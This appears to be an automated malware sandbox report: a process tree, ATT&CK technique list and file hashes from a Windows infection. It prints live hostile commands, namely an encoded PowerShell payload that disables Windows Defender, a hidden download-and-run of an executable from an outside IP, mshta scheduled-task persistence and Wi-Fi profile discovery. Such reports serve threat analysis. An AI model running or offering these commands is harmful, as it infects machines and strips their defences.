sAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                                    6⤵
                                      PID:8340
                                      • C:\Windows\system32\sc.exe
                                        "C:\Windows\system32\sc.exe" qc windefend
                                        7⤵
                                        • Launches sc.exe
                                        PID:12064
                                      • C:\Windows\system32\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                        7⤵
                                          PID:12640
                                        • C:\Windows\system32\whoami.exe
                                          "C:\Windows\system32\whoami.exe" /groups
                                          7⤵
                                            PID:1300
                                          • C:\Windows\system32\net1.exe
                                            "C:\Windows\system32\net1.exe" start TrustedInstaller
                                            7⤵
                                              PID:6248
                                          • C:\Windows\SYSTEM32\cmd.exe
                                            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                                            6⤵
                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                            PID:12468
                                            • C:\Windows\system32\chcp.com
                                              chcp 65001
                                              7⤵
                                                PID:11644
                                              • C:\Windows\system32\netsh.exe
                                                netsh wlan show profile
                                                7⤵
                                                • System Network Configuration Discovery: Wi-Fi Discovery
                                                PID:6460
                                              • C:\Windows\system32\findstr.exe
                                                findstr All
                                                7⤵
                                                  PID:6368
                                              • C:\Windows\SYSTEM32\cmd.exe
                                                "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                                                6⤵
                                                  PID:7336
                                                  • C:\Windows\system32\chcp.com
                                                    chcp 65001
                                                    7⤵
                                                      PID:7148
                                                    • C:\Windows\system32\netsh.exe
                                                      netsh wlan show networks mode=bssid
                                                      7⤵
                                                        PID:3508
                                              • C:\Users\Admin\AppData\Local\Temp\10204850101\825c502f88.exe
                                                "C:\Users\Admin\AppData\Local\Temp\10204850101\825c502f88.exe"
                                                3⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SendNotifyMessage
                                                PID:5844
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c schtasks /create /tn F4Tnjmahens /tr "mshta C:\Users\Admin\AppData\Local\Temp\U9yJfTCKh.hta" /sc minute /mo 25 /ru "Admin" /f
                                                  4⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:7568
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /create /tn F4Tnjmahens /tr "mshta C:\Users\Admin\AppData\Local\Temp\U9yJfTCKh.hta" /sc minute /mo 25 /ru "Admin" /f
                                                    5⤵
                                                    • System Location Discovery: System Language Discovery
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:7892
                                                • C:\Windows\SysWOW64\mshta.exe
                                                  mshta C:\Users\Admin\AppData\Local\Temp\U9yJfTCKh.hta
                                                  4⤵
                                                  • Checks computer location settings
                                                  • System Location Discovery: System Language Discovery
                                                  PID:8200
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'BXNWDESJ5VTXLVQFEFF3OEYS5EC4EIYF.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                    5⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • System Location Discovery: System Language Discovery
                                                    PID:9384
                                                    • C:\Users\Admin\AppData\Local\TempBXNWDESJ5VTXLVQFEFF3OEYS5EC4EIYF.EXE
                                                      "C:\Users\Admin\AppData\Local\TempBXNWDESJ5VTXLVQFEFF3OEYS5EC4EIYF.EXE"
                                                      6⤵
                                                        PID:6696
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10204860121\am_no.cmd" "
                                                  3⤵
                                                    PID:6496
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout /t 2
                                                      4⤵
                                                      • Delays execution with timeout.exe
                                                      PID:11636
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                      4⤵
                                                        PID:6568
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:11848
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                        4⤵
                                                          PID:8844
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                            5⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:8928
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                          4⤵
                                                            PID:7092
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                              5⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              PID:6240
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /tn "ptK1rma2LFk" /tr "mshta \"C:\Temp\SThQxk8Wa.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                                            4⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:4376
                                                          • C:\Windows\SysWOW64\mshta.exe
                                                            mshta "C:\Temp\SThQxk8Wa.hta"
                                                            4⤵
                                                              PID:10928
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                                5⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                PID:9348
                                                                • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                                                  6⤵
                                                                    PID:10644
                                                            • C:\Users\Admin\AppData\Local\Temp\10205310101\c4ad3e208a.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10205310101\c4ad3e208a.exe"
                                                              3⤵
                                                                PID:12184
                                                              • C:\Users\Admin\AppData\Local\Temp\10205320101\o8zlsgy.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10205320101\o8zlsgy.exe"
                                                                3⤵
                                                                  PID:7588
                                                                • C:\Users\Admin\AppData\Local\Temp\10205340101\VpUdZiX.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10205340101\VpUdZiX.exe"
                                                                  3⤵
                                                                    PID:12708
                                                                  • C:\Users\Admin\AppData\Local\Temp\10205360101\5984a6a111.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10205360101\5984a6a111.exe"
                                                                    3⤵
                                                                      PID:9156
                                                                    • C:\Users\Admin\AppData\Local\Temp\10205370101\086e33edb9.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10205370101\086e33edb9.exe"
                                                                      3⤵
                                                                        PID:9824
                                                                  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                    1⤵
                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                    • Checks BIOS information in registry
                                                                    • Executes dropped EXE
                                                                    • Identifies Wine through registry keys
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:1080
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1304 -ip 1304
                                                                    1⤵
                                                                      PID:4500
                                                                    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                      1⤵
                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                      • Checks BIOS information in registry
                                                                      • Executes dropped EXE
                                                                      • Identifies Wine through registry keys
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:9012
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 9004 -ip 9004
                                                                      1⤵
                                                                        PID:9084
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                                                                        1⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        PID:8144
                                                                        • C:\Windows\system32\sc.exe
                                                                          "C:\Windows\system32\sc.exe" qc windefend
                                                                          2⤵
                                                                          • Launches sc.exe
                                                                          PID:11512
                                                                        • C:\Windows\system32\cmd.exe
                                                                          "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                          2⤵
                                                                            PID:13080
                                                                          • C:\Windows\system32\whoami.exe
                                                                            "C:\Windows\system32\whoami.exe" /groups
                                                                            2⤵
                                                                              PID:9420
                                                                            • C:\Windows\system32\net1.exe
                                                                              "C:\Windows\system32\net1.exe" stop windefend
                                                                              2⤵
                                                                                PID:9760
                                                                              • C:\Windows\system32\sc.exe
                                                                                "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                                                                                2⤵
                                                                                • Launches sc.exe
                                                                                PID:10688
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                                                                              1⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:9624
                                                                              • C:\Windows\system32\sc.exe
                                                                                "C:\Windows\system32\sc.exe" qc windefend
                                                                                2⤵
                                                                                • Launches sc.exe
                                                                                PID:8208
                                                                              • C:\Windows\system32\cmd.exe
                                                                                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                                2⤵
                                                                                  PID:8588
                                                                                • C:\Windows\system32\whoami.exe
                                                                                  "C:\Windows\system32\whoami.exe" /groups
                                                                                  2⤵
                                                                                    PID:5980
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    "C:\Windows\system32\net1.exe" stop windefend
                                                                                    2⤵
                                                                                      PID:10972
                                                                                    • C:\Windows\system32\sc.exe
                                                                                      "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                                                                                      2⤵
                                                                                      • Launches sc.exe
                                                                                      PID:11032
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                                                                                    1⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    PID:10476
                                                                                    • C:\Windows\system32\sc.exe
                                                                                      "C:\Windows\system32\sc.exe" qc windefend
                                                                                      2⤵
                                                                                      • Launches sc.exe
                                                                                      PID:8160
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                                      2⤵
                                                                                        PID:8452
                                                                                      • C:\Windows\system32\whoami.exe
                                                                                        "C:\Windows\system32\whoami.exe" /groups
                                                                                        2⤵
                                                                                          PID:9228
                                                                                        • C:\Windows\system32\net1.exe
                                                                                          "C:\Windows\system32\net1.exe" stop windefend
                                                                                          2⤵
                                                                                            PID:8988
                                                                                          • C:\Windows\system32\sc.exe
                                                                                            "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                                                                                            2⤵
                                                                                            • Launches sc.exe
                                                                                            PID:10472
                                                                                        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          1⤵
                                                                                            PID:11096

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Reconnaissance

                                                                                          Resource Development

                                                                                          Initial Access

                                                                                          Execution

                                                                                          Command and Scripting Interpreter

                                                                                          1
                                                                                          T1059

                                                                                          PowerShell

                                                                                          1
                                                                                          T1059.001

                                                                                          Scheduled Task/Job

                                                                                          1
                                                                                          T1053

                                                                                          Scheduled Task

                                                                                          1
                                                                                          T1053.005

                                                                                          Persistence

                                                                                          Boot or Logon Autostart Execution

                                                                                          2
                                                                                          T1547

                                                                                          Registry Run Keys / Startup Folder

                                                                                          2
                                                                                          T1547.001

                                                                                          Scheduled Task/Job

                                                                                          1
                                                                                          T1053

                                                                                          Scheduled Task

                                                                                          1
                                                                                          T1053.005

                                                                                          Privilege Escalation

                                                                                          Boot or Logon Autostart Execution

                                                                                          2
                                                                                          T1547

                                                                                          Registry Run Keys / Startup Folder

                                                                                          2
                                                                                          T1547.001

                                                                                          Scheduled Task/Job

                                                                                          1
                                                                                          T1053

                                                                                          Scheduled Task

                                                                                          1
                                                                                          T1053.005

                                                                                          Defense Evasion

                                                                                          Modify Registry

                                                                                          2
                                                                                          T1112

                                                                                          Virtualization/Sandbox Evasion

                                                                                          2
                                                                                          T1497

                                                                                          Credential Access

                                                                                          Credentials from Password Stores

                                                                                          1
                                                                                          T1555

                                                                                          Credentials from Web Browsers

                                                                                          1
                                                                                          T1555.003

                                                                                          Unsecured Credentials

                                                                                          3
                                                                                          T1552

                                                                                          Credentials In Files

                                                                                          3
                                                                                          T1552.001

                                                                                          Discovery

                                                                                          Browser Information Discovery

                                                                                          1
                                                                                          T1217

                                                                                          Query Registry

                                                                                          6
                                                                                          T1012

                                                                                          System Information Discovery

                                                                                          3
                                                                                          T1082

                                                                                          System Location Discovery

                                                                                          1
                                                                                          T1614

                                                                                          System Language Discovery

                                                                                          1
                                                                                          T1614.001

                                                                                          System Network Configuration Discovery

                                                                                          1
                                                                                          T1016

                                                                                          Wi-Fi Discovery

                                                                                          1
                                                                                          T1016.002

                                                                                          Virtualization/Sandbox Evasion

                                                                                          2
                                                                                          T1497

                                                                                          Lateral Movement

                                                                                          Collection

                                                                                          Data from Local System

                                                                                          3
                                                                                          T1005

                                                                                          Command and Control

                                                                                          Exfiltration

                                                                                          Impact

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe
                                                                                            Filesize

                                                                                            1.9MB

                                                                                            MD5

                                                                                            f6df525fbd4a152fc282a9e0a8f8880f

                                                                                            SHA1

                                                                                            fe55e0c57346f275d8d230ddf1457f1919e8885b

                                                                                            SHA256

                                                                                            fa69299360c8b7ca75fc3fe700136e3d3738b4b09485a821b5f9d5247de3e066

                                                                                            SHA512

                                                                                            8e382009926f073aa30ab9dd2d4f13a8cb74ec2d72182e7c138d48424820b74a13daacdff6bc6c304e00ab936c8d08417fae35048e58c2cb1822564ad2aebf3e

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\01a4dd1d76243bf5f5723d6b01dc5ef4\Admin@TRGWVDJS_en-US\System\Process.txt
                                                                                            Filesize

                                                                                            5KB

                                                                                            MD5

                                                                                            83b1297f9ead20db43c7e6b29e871c56

                                                                                            SHA1

                                                                                            11ad152f80250236f77133948721958f8b8c3e20

                                                                                            SHA256

                                                                                            1bb50bb153b57917e64f8fbb30f1ed8db5f4a39fe82ac88e613c19ae32c0121e

                                                                                            SHA512

                                                                                            59727b8b418f75d4ec7518e6480c4ed7b0422e39a6b28c58d4df1d909f62826d271959a4608acb443ad605320c61cb3a70daa73080bac33f37a91913383779bc

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\01a4dd1d76243bf5f5723d6b01dc5ef4\msgid.dat
                                                                                            Filesize

                                                                                            1B

                                                                                            MD5

                                                                                            cfcd208495d565ef66e7dff9f98764da

                                                                                            SHA1

                                                                                            b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                                                                                            SHA256

                                                                                            5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                                                                                            SHA512

                                                                                            31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                            Filesize

                                                                                            2KB

                                                                                            MD5

                                                                                            d85ba6ff808d9e5444a4b369f5bc2730

                                                                                            SHA1

                                                                                            31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                            SHA256

                                                                                            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                            SHA512

                                                                                            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                            Filesize

                                                                                            944B

                                                                                            MD5

                                                                                            77d622bb1a5b250869a3238b9bc1402b

                                                                                            SHA1

                                                                                            d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                            SHA256

                                                                                            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                            SHA512

                                                                                            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\TempBXNWDESJ5VTXLVQFEFF3OEYS5EC4EIYF.EXE
                                                                                            Filesize

                                                                                            2.1MB

                                                                                            MD5

                                                                                            b3475dea86b8d2936bf5d6bc0b4e6089

                                                                                            SHA1

                                                                                            4ba91964094f6fc1048020f67fb549ebf678935e

                                                                                            SHA256

                                                                                            4ac0a39676edde0c991e224e77b71f96834441bdcc0474680ffa84a09bff1324

                                                                                            SHA512

                                                                                            136caf3dcc4f5bdc1ae0c3416c6469a1c88a5ae0df389b547ebf755dd4bfdf933aede67305f5faedcde19dc9b75a0fd1696d9359cfacd7b6c2756a1ebcec5f19

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\Temp\10168510101\7T7bCyA.exe
                                                                                            Filesize

                                                                                            2.0MB

                                                                                            MD5

                                                                                            b689eca05ca79b008387a5115c61f71b

                                                                                            SHA1

                                                                                            7a4cf8520f18130b4e434e536178ce67e3275edc

                                                                                            SHA256

                                                                                            e9660d4168ce54a90597be7d9fb93e6f64b62b4b922beead20e06b823f15d35c

                                                                                            SHA512

                                                                                            42cdc629e6eacb72bff514f2c0d5eda69a1db5192890cbd886256e6f1c48f6558eacc0b9b33c87afe65fbcb565ac834393bfbfd661e5075424c223ebeb639328

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\Temp\10171300101\s7MG2VL.exe
                                                                                            Filesize

                                                                                            2.0MB

                                                                                            MD5

                                                                                            1255e23ea313bb1a6e71d78b2f829262

                                                                                            SHA1

                                                                                            a225deb67ab2cc828e79812b0e7a935505ca286a

                                                                                            SHA256

                                                                                            f311de293f2e7fb8487bfc25da196a92c2060cb3bb41117928b80ffde70c196f

                                                                                            SHA512

                                                                                            d321910628aff7c963e5f28bf6e896b83284754a90fba684f9690467cfde5f674f103f2ed06b1129329e719754b2dc1994d2da5f15f32538f9fde3da2e9f2c1d

                                                                                            Download Submit

                                                                                          • C:\Users\Admin\AppData\Local\Temp\10181980101\ZqkKpwG.exe
                                                                                            Filesize

                                                                                            766KB

                                                                                            MD5

                                                                                            2903fdf791b5c089eba36c8cab5079bb

